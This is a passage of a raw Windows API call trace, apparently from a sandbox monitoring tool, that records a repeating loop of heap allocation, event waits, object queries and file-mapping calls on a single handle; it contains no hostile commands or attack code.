dwMilliseconds=0xffffffff) returned 0x0 [0057.597] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.597] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.597] ResetEvent (hEvent=0xe8) returned 1 [0057.597] SetEvent (hEvent=0xec) returned 1 [0057.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.598] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.598] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.598] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.598] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.598] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.598] ResetEvent (hEvent=0xe8) returned 1 [0057.598] SetEvent (hEvent=0xec) returned 1 [0057.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.598] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.598] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.598] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.598] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.598] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.598] ResetEvent (hEvent=0xe8) returned 1 [0057.598] SetEvent (hEvent=0xec) returned 1 [0057.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.599] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.599] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.599] ResetEvent (hEvent=0xe8) returned 1 [0057.599] SetEvent (hEvent=0xec) returned 1 [0057.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.599] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.599] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.599] ResetEvent (hEvent=0xe8) returned 1 [0057.599] SetEvent (hEvent=0xec) returned 1 [0057.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.599] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.599] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.599] ResetEvent (hEvent=0xe8) returned 1 [0057.599] SetEvent (hEvent=0xec) returned 1 [0057.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.600] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.600] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.600] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.600] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.600] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.600] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.600] ResetEvent (hEvent=0xe8) returned 1 [0057.600] SetEvent (hEvent=0xec) returned 1 [0057.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.600] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.600] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.600] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.600] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.600] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.600] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.600] ResetEvent (hEvent=0xe8) returned 1 [0057.600] SetEvent (hEvent=0xec) returned 1 [0057.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.601] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.601] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.601] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.601] ResetEvent (hEvent=0xe8) returned 1 [0057.601] SetEvent (hEvent=0xec) returned 1 [0057.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.601] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.601] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.601] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.601] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.601] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.601] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.601] ResetEvent (hEvent=0xe8) returned 1 [0057.601] SetEvent (hEvent=0xec) returned 1 [0057.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.601] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.601] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.602] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.602] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.602] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.602] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.602] ResetEvent (hEvent=0xe8) returned 1 [0057.602] SetEvent (hEvent=0xec) returned 1 [0057.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.602] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.602] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.602] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.602] ResetEvent (hEvent=0xe8) returned 1 [0057.602] SetEvent (hEvent=0xec) returned 1 [0057.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.602] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.602] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.602] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.602] ResetEvent (hEvent=0xe8) returned 1 [0057.602] SetEvent (hEvent=0xec) returned 1 [0057.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.603] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.603] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.603] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.603] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.603] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.603] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.603] ResetEvent (hEvent=0xe8) returned 1 [0057.603] SetEvent (hEvent=0xec) returned 1 [0057.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.603] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.603] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.603] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.603] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.603] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.603] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.603] ResetEvent (hEvent=0xe8) returned 1 [0057.603] SetEvent (hEvent=0xec) returned 1 [0057.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.604] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.604] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.604] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.604] ResetEvent (hEvent=0xe8) returned 1 [0057.604] SetEvent (hEvent=0xec) returned 1 [0057.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.604] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.604] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.604] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.604] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.604] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.604] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.604] ResetEvent (hEvent=0xe8) returned 1 [0057.604] SetEvent (hEvent=0xec) returned 1 [0057.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.604] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.604] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.604] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.604] ResetEvent (hEvent=0xe8) returned 1 [0057.605] SetEvent (hEvent=0xec) returned 1 [0057.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.605] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.605] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.605] ResetEvent (hEvent=0xe8) returned 1 [0057.605] SetEvent (hEvent=0xec) returned 1 [0057.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.605] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.605] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.605] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.605] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.605] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.605] ResetEvent (hEvent=0xe8) returned 1 [0057.605] SetEvent (hEvent=0xec) returned 1 [0057.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.605] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.606] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.606] ResetEvent (hEvent=0xe8) returned 1 [0057.606] SetEvent (hEvent=0xec) returned 1 [0057.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.606] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.606] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.606] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.606] ResetEvent (hEvent=0xe8) returned 1 [0057.606] SetEvent (hEvent=0xec) returned 1 [0057.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.606] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.606] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.606] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.606] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.606] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.606] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.606] ResetEvent (hEvent=0xe8) returned 1 [0057.606] SetEvent (hEvent=0xec) returned 1 [0057.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.607] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.607] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.607] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.607] ResetEvent (hEvent=0xe8) returned 1 [0057.607] SetEvent (hEvent=0xec) returned 1 [0057.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.607] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.607] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.607] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.607] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.607] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.607] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.607] ResetEvent (hEvent=0xe8) returned 1 [0057.607] SetEvent (hEvent=0xec) returned 1 [0057.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.608] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.608] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.608] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.608] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.608] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.608] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.608] ResetEvent (hEvent=0xe8) returned 1 [0057.608] SetEvent (hEvent=0xec) returned 1 [0057.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.608] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.608] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.608] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.608] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.608] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.608] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.608] ResetEvent (hEvent=0xe8) returned 1 [0057.608] SetEvent (hEvent=0xec) returned 1 [0057.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.608] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.609] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.609] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.609] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.609] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.609] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.609] ResetEvent (hEvent=0xe8) returned 1 [0057.609] SetEvent (hEvent=0xec) returned 1 [0057.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.609] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.609] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.609] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.609] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.609] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.609] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.609] ResetEvent (hEvent=0xe8) returned 1 [0057.609] SetEvent (hEvent=0xec) returned 1 [0057.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.609] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.609] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.609] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.610] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, 